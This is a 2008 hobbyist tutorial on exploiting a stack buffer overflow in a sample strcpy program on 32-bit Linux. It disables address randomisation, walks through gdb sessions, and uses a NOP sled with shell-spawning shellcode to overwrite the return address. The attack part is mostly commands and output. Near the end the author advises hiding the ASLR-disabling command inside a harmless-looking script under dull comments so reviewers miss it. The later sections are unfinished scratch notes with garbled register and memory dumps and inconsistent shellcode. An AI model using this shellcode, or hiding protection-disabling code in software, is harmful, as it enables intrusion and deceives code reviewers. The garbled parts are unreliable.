Exploiting Buffer overflows

Version 1

OS: Zenwalk 5.2

gcc: default with zenwalk(4.2.3)

By Kalgecin (kalgecin[at]gmail.com)

7 December 2008

~oO Disclaimer Oo~

I'm to assume that you know what buffer overflows are, as I'm not going to discuss it here.. for that read "Smashing the stack for fun and profit" by Aleph1.

This documentation is to provide the users with basic knowledge of buffer overflows under recent gcc version. I'm not responsible for any text that is printed in this tutorial as it is intended for educational purposes only!!

~oO Start Oo~

So to overflow this we need to disable a kernel protection first. For that we do:

kalgecin[hacking]\$ cat /proc/sys/kernel/randomize_va_space
1
kalgecin[hacking]\$ echo 0 > /proc/sys/kernel/randomize_va_space
kalgecin[hacking]\$ cat /proc/sys/kernel/randomize_va_space
0
kalgecin[hacking]\$

So now we have disabled the protection. Here's a copy of our vulnerable program:

```
kalgecin[hacking]$ cat vuln.c
#include <stdlib.h>
#include <stdlib.h>
#include <string.h>
int bof(char *string) {
    char buffer[1024];
    strcpy(buffer, string);
    return 1;
    }
    int main(int argc, char *argv[]) {
        bof(argv[1]);
        printf("Done..\n");
        return 1;
    }
```

This vulnerable program accepts an input and processes it with **strcpy** which does not do any bounds checking, so if we put an argument with say 1040 characters our stack will get overflowed.

We will compile it.

kalgecin[hacking]\$	gcc vuln.c -o vuln
kalgecin[hacking]\$	

Open a gdb

kalgecin[hacking]\$ gdb ./vuln -q
(gdb) r `perl -e 'print "AAAA"x1040'`
Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print "AAAA"x1040'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

As we can see here 0x41414141 is the same as AAAA. Let us see the registers

$ \begin{array}{llllllllllllllllllllllllllllllllllll$				
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	(gdb) i r			
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	eax	0x1	1	
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	ecx	0xbfffe3	b8	-1073749064
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	edx	0x1041	4161	
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	ebx	0xb7fbc	ff4	-1208233996
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	esp	0xbfffe7	c0	0xbfffe7c0
esi $0xb7ffece0$ -1207964448 edi $0x0$ 0 eip $0x41414141$ $0x41414141$ eflags $0x210282$ [SF IF RF ID] cs $0x73$ 115 ss $0x7b$ 123 ds $0x7b$ 123 es $0x7b$ 123 fs $0x0$ 0 gs $0x33$ 51 (gdb)	ebp	0x41414	1141	0x41414141
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	esi	0xb7ffece	e0	-1207964448
eip 0x41414141 0x41414141 eflags 0x210282 [SF IF RF ID] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)	edi	0x0	0	
eflags 0x210282 [SF IF RF ID] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)	eip	0x41414	141	0x41414141
cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)	eflags	0x21028	32	[SF IF RF ID]
ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)	CS	0x73	115	
ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)	SS	0x7b	123	
es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)	ds	0x7b	123	
fs 0x0 0 gs 0x33 51 (gdb)	es	0x7b	123	
gs 0x33 51 (gdb)	fs	0x0	0	
(gdb)	gs	0x33	51	
	(gdb)			

Pay attention to EIP. It points to our AAAA.

Now let's use a shell-code. This one has been generated by me and it spawns a shell:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73 \x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd \x80 (gdb) r `perl -e 'print

"\x90"x1040,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2 f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x8 0"'`

The program being debugged has been started already. Start it from the beginning? (y or n) y

Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print

"\x90"x1040,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2 f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x8 0"'` Program received signal SIGSEGV, Segmentation fault. 0x90909090 in ?? () (gdb)

Now we are pointed to 90909090 which is our NOP sled. We add "AAAA" at the end of our exploit and adjust the number of nop's decreasing by 4 until we have 1414141 as our return address.

I got the value as: 993. So we now type:

(gdb) x/2000xb \$esp

And we get a lot of stuff. Look for something like:

From here we get the address of our NOP sled as: bf ff 6 50. Turning this to lilendian we get $x50\xf6\xff\xbf$ and we replace that with our "AAAA" and we get something like this:

```
(gdb) r `perl -e 'print
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80","\x50\xf6\xff
\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print
"\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6
8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\xcd\x80","\x50\xf6\xff
\xbf"'`
Executing new program: /bin/bash
(no debugging symbols found)
```

(no debugging symbols found) (no debugging symbols found) (no debugging symbols found) sh-3.1\$

BANG!! We got our shell. We now disable the protection:

kalgecin[hacking]\$ cat /proc/sys/kernel/randomize_va_space
0
kalgecin[hacking]\$ echo 1 > /proc/sys/kernel/randomize_va_space
kalgecin[hacking]\$ cat /proc/sys/kernel/randomize_va_space
1
kalgecin[hacking]\$

And after repeating the exploit, we get...

(qdb) r `perl -e 'print "\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6 8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\xcd\x80","\x50\xf6\xff \xbf"' Starting program: /bin/bash `perl -e 'print "\x90"x993,"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x6 8\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\xcd\x80","\x50\xf6\xff \xbf"' (no debugging symbols found) /bin/bash:

So we end here.

If you want to exploit local programs, then disable the protection (as root :) not much help here) But you can make a useful script or a program and inside it added a code to run "echo 0 > /proc/sys/kernel/randomize_va_space" in a hidden place or a place with a lot of comments and make a line to execute the above piece of code. Mostly the reviser will ignore the comments (especially the boring ones) and not see the code above.

Good luck out there!! ©

~oO Conclusion Oo~

These exploits work as long as the va patch is disabled. To disable it you need root privileges. Next paper will focus on the va patch.

~oO The VA patch Oo~

The VA patch was applied in order for the buffer overflow to be much harder by randomizing where the starch of the program starts. Before the patch all programs started at the same address and so the return address was predictable from the stack information. Now the VA patch randomizes the location of the program in the stack making it virtually impossible.

~oO Hacking the VA patch Oo~

From here on I'm writing this as I'm experimenting and as my scratch pads so please sorry if I'll be not be clear

So let's try:

(gdb) r `perl -e 'print "\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x5 1\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\ xcd\x80"'`

The program being debugged has been started already. Start it from the beginning? (y or n) y

 $\label{eq:starting program: /home/kalgecin/Desktop/hacking/vuln `perl -e 'print "\x90"x1032,"\x80\xda\xea\xbf","\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\ xcd\x80"'`$

Program received signal SIGSEGV, Segmentation fault. 0x90909090 in ?? () (qdb) x/3000xb \$esp 0xbfc75850: 0x80 0xda 0xea 0xbf 0x31 0xc0 0x31 0xdb 0xbfc75858: 0x31 0xc9 0x31 0xd2 0xb0 0x46 0xcd 0x80 0xbfc75860: 0x51 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0xbfc75868: 0x62 0x69 0x6e 0x89 0xe3 0x51 0x53 0x89 0xbfc75870: 0xe1 0x31 0xc0 0xb0 0x0b 0x80 0x00 0xcd

0xbfc75	5878:	0xd8	0x58	0xc7	0xbf	0x90	0x33	0xf0	0xb7
0xbfc75	5880:	0x02	0x00	0x00	0x00	0x04	0x59	0xc7	0xbf
0xbfc75	5888:	0x10	0x59	0xc7	0xbf	0xd0	0x92	0x03	0xb8
0xbfc75	5890:	0x00	0x00	0x00	0x00	0x01	0x00	0x00	0x00
0xbfc75	5898:	0x00	0x00	0x00	0x00	0x09	0x82	0x04	0x08
0xbfc75	58a0:	0xf4	0x4f	0x03	0xb8	0xe0	0x7c	0x07	0xb8
0xbfc75	58a8:	0x00	0x00	0x00	0x00	0xd8	0x58	0xc7	0xbf
0xbfc75	58b0:	0x81	0x00	0xb1	0x9a	0x91	0xaa	0x66	0xf4
0xbfc75	58b8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbfc75	58c0:	0x00	0x00	0x00	0x00	0xa0	0xf7	0x06	0xb8
0xbfc75	58c8:	0xbd	0x32	0xf0	0xb7	0xf4	0x7f	0x07	0xb8
0xbfc75	58d0:	0x02	0x00	0x00	0x00	0x00	0x83	0x04	0x08
0xbfc75	58d8:	0x00	0x00	0x00	0x00	0x21	0x83	0x04	0x08
0xbfc75	58e0:	0xa9	0x83	0x04	0x08	0x02	0x00	0x00	0x00
0xbfc75	58e8:	0x04	0x59	0xc7	0xbf	0x00	0x84	0x04	0x08
0xbfc75	58f0:	0xf0	0x83	0x04	0x08	0xd0	0xa0	0x06	0xb8
0xbfc75	58f8:	0xfc	0x58	0xc7	0xbf	0x05	0x56	0x07	0xb8
0xbfc75	5900:	0x02	0x00	0x00	0x00	0xff	0x75	0xc7	0xbf
Туре	<retu< td=""><td>ırn> to</td><td>continu</td><td>ue, or q</td><td><retur< td=""><td>m> to c</td><td>quitq</td><td></td><td></td></retur<></td></retu<>	ırn> to	continu	ue, or q	<retur< td=""><td>m> to c</td><td>quitq</td><td></td><td></td></retur<>	m> to c	quitq		
Quit									
(gdb) r	`perl	-e 'prin	t						
"\x90"x1032,"	\x80\x	da\xea	\xbf","\	\x31\xc	0\x31\	xdb\x3	1\xc9\x	31\xd2	\xb0\x46\xcd\x80\x5
1\x68\x2f\x2f\ xcd\x80"'`	x73\x	68\x68	\x2f\x6	52\x69\	x6e\x8	9\xe3\>	(51\x53	\$\x89\x	e1\x31\xc0\xb0\x0b\
The pro	aram	heina c	lebuaae	ed has l	neen st	arted a	lreadv		
inc pro	gram	being e	····		, ,	unceu u	neadyr		
Start it	from t	'he bea	innina?	'(vorr	1) V				
Start it	from t	he beg	inning?	(y or r	ı) y				
Start it Starting progra	from t am: /h	ine beg iome/ka	inning? alaecin/	' (y or r /Deskto	n) y p/hack	ina/vulı	n`perl	-e 'prir	ıt
Start it Starting progra "\x90"x1032."	from t am: /h \x80\x	ine beg iome/ka ida\xea	inning? algecin/ \xbf","\	' (y or r /Deskto \x31\xc	n) y p/hack 0\x31\;	ing/vuli xdb\x3	n`perl 1\xc9\x	-e 'prin 31\xd2	nt \\xb0\x46\xcd\x80\x5
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f	from t am: /h \x80\x .x73\x	ine beg iome/ka ida\xea 68\x68	inning? algecin/ \xbf","\ \x2f\x6	' (y or r /Deskto \x31\xc 52\x69\	n) y p/hack 0\x31\: x6e\x8	ing/vuli xdb\x3 9\xe3\>	n`perl 1\xc9\x (51\x53	-e 'prir 31\xd2 \$\x89\x	nt \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'`	from t am: /h \x80\x \x73\x0	ine beg iome/ka ida\xea 68\x68	inning? algecin/ \xbf","\ \x2f\x6	' (y or r /Deskto \x31\xc 62\x69\	n) y p/hack 0\x31\: x6e\x8	ing/vulı xdb\x3 9\xe3\>	n `perl 1\xc9\x (51\x53	-e 'prin 31\xd2 8\x89\x	nt ?\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'`	from t am: /h \x80\x ,x73\x	ine beg iome/ka ida\xea 68\x68	inning? algecin/ \xbf","\ \x2f\x6	' (y or r /Deskto \x31\xc 2\x69\	p/hack 0\x31\: x6e\x8	ing/vulı xdb\x3 9\xe3\>	n `perl 1\xc9\x (51\x53	-e 'prin 31\xd2 8\x89\x	nt \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr	from t am: /h \x80\x ,x73\xi n recei	ine beg iome/ka ida\xea 68\x68 ived sic	inning? algecin/ \xbf","\ \x2f\x6 inal SIC	' (y or r /Deskto \x31\xc 52\x69\ GSEGV.	p/hack 0\x31\; x6e\x8 Segme	ing/vuli xdb\x3 9\xe3\x entation	n `perl 1\xc9\x x51\x53 1 fault.	-e 'prir 31\xd2 \$\x89\x	nt \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090	from t am: /h \x80\x ,x73\x n recei 9090 i	ine beg ome/ka ada\xea 68\x68 ived sig	Inning? algecin/ \xbf","\ \x2f\x6 Jnal SIC	(y or r /Deskto \x31\xc 62\x69\ GSEGV,	p/hack 0\x31\ x6e\x8 Segme	ing/vuli xdb\x3 9\xe3\> entation	n `perl 1\xc9\x x51\x53 fault.	-e 'prir 31\xd2 \$\x89\x	nt 2\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (qdb) x	from t am: /h \x80\x ,x73\x n recei 9090 i /3000;	ine beg iome/ka ida\xea 68\x68 ived si <u>c</u> in ?? () xb \$esp	inning? algecin/ \xbf","\ \x2f\x6 gnal SIC	(y or r /Deskto \x31\xc 2\x69\ GSEGV,	p/hack 0\x31\ x6e\x8 Segme	ing/vuli xdb\x3: 9\xe3\> entation	n `perl 1\xc9\x <51\x53 fault.	-e 'prin 31\xd2 \\x89\x	nt ?\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1	from t am: /h \x80\x ,x73\x ,x73\x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	ine beg ome/ka da\xea 68\x68 ived sig n ?? () xb \$esp 0x80	inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0 0xda	(y or r /Deskto \x31\xc 2\x69\ GSEGV, 0xea	p/hack 0\x31\ x6e\x8 Segme 0xbf	ing/vuli xdb\x3: 9\xe3\x entation 0x31	n `perl 1\xc9\x 51\x53 fault. 0xc0	-e 'prir 31\xd2 3\x89\x 0x31	nt :\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1	from t am: /h \x80\x ,x73\x n recei 9090 i /3000; od0: od8;	ived sig (ived sig (in ?? ()) (in \$esp (0x80 (0x31	inning? algecin/ \xbf","\ \x2f\x6 jnal SIC 0 0xda 0xc9	(y or r /Deskto \x31\xc 2\x69\ GSEGV, 0xea 0x231	p/hack 0\x31\ x6e\x8 Segme 0xbf 0xd2	ing/vuli xdb\x3 9\xe3\x entation 0x31 0xb0	n `perl 1\xc9\x 51\x53 fault. 0xc0 0x46	-e 'prin 31\xd2 3\x89\x 0x31 0xcd	nt \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb 0x80
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x ,x73\x0 n recei 9090 i /3000; od0: od8: od8: oe0;	ine beg ome/ka da\xea 68\x68 ived si <u>c</u> n ?? () xb \$esp 0x80 0x31 0x51	inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0 0xda 0xc9 0x68	(y or r /Deskto \x31\xc 2\x69\ GSEGV, 0xea 0x31 0x2f	p/hack 0\x31\ x6e\x8 Segme 0xbf 0xd2 0x2f	ing/vuli xdb\x3 9\xe3\x entation 0x31 0xb0 0x73	n `perl 1\xc9\x 51\x53 fault. 0xc0 0x46 0x68	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68	nt \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb 0x80 0x2f
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x0 n recei 9090 i /3000; od0; od0; od8; od8; oe8;	ived sig ived sig ived sig n ?? () xb \$esp 0x80 0x31 0x51 0x62	Inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0xda 0xc9 0x68 0x69	(y or r /Deskto \x31\xc 2\x69\ GSEGV, 0xea 0x31 0x2f 0x6e	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89	ing/vuli xdb\x3 9\xe3\x entation 0x31 0xb0 0x73 0xe3	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51	-e 'prir 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53	ot \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb 0x80 0x2f 0x89
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x0 n recei 9090 i /3000; od0: od0: od8: oc0: oc8: oc6: oc6:	ived sig nore/ka da\xea 68\x68 ived sig n ?? () xb \$esp 0x80 0x31 0x51 0x62 0xe1	Inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0xda 0xc9 0x68 0x69 0x31	(y or r /Deskto \x31\xc 2\x69\ GSEGV, 0xea 0x31 0x2f 0x6e 0xc0	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0	ing/vuli xdb\x3 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80	ot 2\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb 0x80 0x2f 0x89 0x00
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x 9090 i /3000: od0: od8: oe0: oe8: of0: of8:	ived sign ived sign ived sign in ?? () xb \$esp 0x80 0x31 0x51 0x62 0xe1 0x58	Inning? algecin/ \xbf","\ \x2f\x6 Jnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c	 ' (y or r '/Deskto \x31\xc 52\x69\ GSEGV, 0xea 0x31 0x2f 0x6e 0xc0 0xff 	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf	ing/vuli xdb\x3 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x90	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7	nt 2\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb 0x80 0x2f 0x89 0x00 0xb7
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x 9090 i /3000: od0: od8: oe0: oe8: of0: of8: c00:	ived sig (ived sig (in ?? ()) xb \$esp 0x80 0x31 0x51 0x51 0x62 0xe1 0x58 0x02	Inning? algecin/ \xbf","\ \x2f\x6 Jnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00	(y or r /Deskto x31\xc 2\x69\ GSEGV, 0xea 0x31 0x2f 0x6e 0xc0 0xff 0x00	p/hack 0\x31\ x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00	ing/vuli xdb\x3 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84	n `perl 1\xc9\x 51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff	nt \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x0 n recei 9090 i /3000: od0: od0: od8: oe0: oe8: of0: of8: c00: c08:	ived sig (ived sig (in ?? ()) xb \$esp 0x80 0x31 0x51 0x62 0xe1 0x58 0x02 0x90	Inning? algecin/ \xbf","\ \x2f\x6 Jnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c	 '(y or r 'Deskto \x31\xc \x69\ GSEGV, 0xea 0x31 0x2f 0x6e 0xc0 0xff 0x00 0xff 	 p/hack p/hack 0\x31\; x6e\x8' Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 	ing/vuli xdb\x3 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0xd0	n `perl 1\xc9\x 51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b	ot \\xb0\x46\xcd\x80\x5 e1\x31\xc0\xb0\x0b\ 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x0 n recei 9090 i /30002 od0: od8: oc02 of8: co63: co	ived sig (n ?? () xb \$esp 0x80 0x31 0x51 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x62	Inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00	 '(y or r 'Deskto 'X31\xc 'Z\x69\ <li'z\x69\< li=""> <li'z\x69\< li=""> <</li'z\x69\<></li'z\x69\<>	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00	ing/vuli xdb\x3 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0xd0 0x01	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00	0xdb 0xdb 0x2f 0x00 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x0 n recei 9090 i /30002 od0: od8: od8: of0: of8: c00: c08: c00: c08: c10: c18:	ived sig ived sig ived sig n ?? () xb \$esp 0x80 0x31 0x51 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x62	Inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00	 '(y or r 'Deskto 'X31\xc '2\x69\ GSEGV, Oxea 0x31 0x2f 0x6e 0xc0 0xff 0x00 0xff 0x00 0xff 0x00 0xf0 0xf0 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0x00	ing/vuli xdb\x3 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0xd0 0x01 0x09	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04	0xdb 0xdb 0x2f 0xb7 0xb7 0xb7 0xb7 0xb8 0x00 0xb7 0xb8 0x00 0xb7 0xb8 0x00 0xb8 0x00 0xb8
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x0 n recei 9090 i /3000; od0: od8: oc0: cof8: cof0: cof8: co0: co0: co1: co0: co1: co1: co1: co1: co1: co1: co1: co1	ived sig ived sig ived sig in ?? () xb \$esp 0x80 0x31 0x51 0x62 0xe1 0x58 0x02 0x90 0x00 0x00 0x00 0x64	Inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x1c 0x00	 '(y or r 'Deskto 'X31\xc '2\x69\ '32\x69\ '32\x69\<td>p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8</td><td>ing/vuli xdb\x3 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0xd0 0x01 0x09 0x09 0x09 0x01</td><td>n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c</td><td>-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f</td><td>0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0xb8 0x00 0xb7</td>	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8	ing/vuli xdb\x3 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0xd0 0x01 0x09 0x09 0x09 0x01	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f	0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0xb8 0x00 0xb7
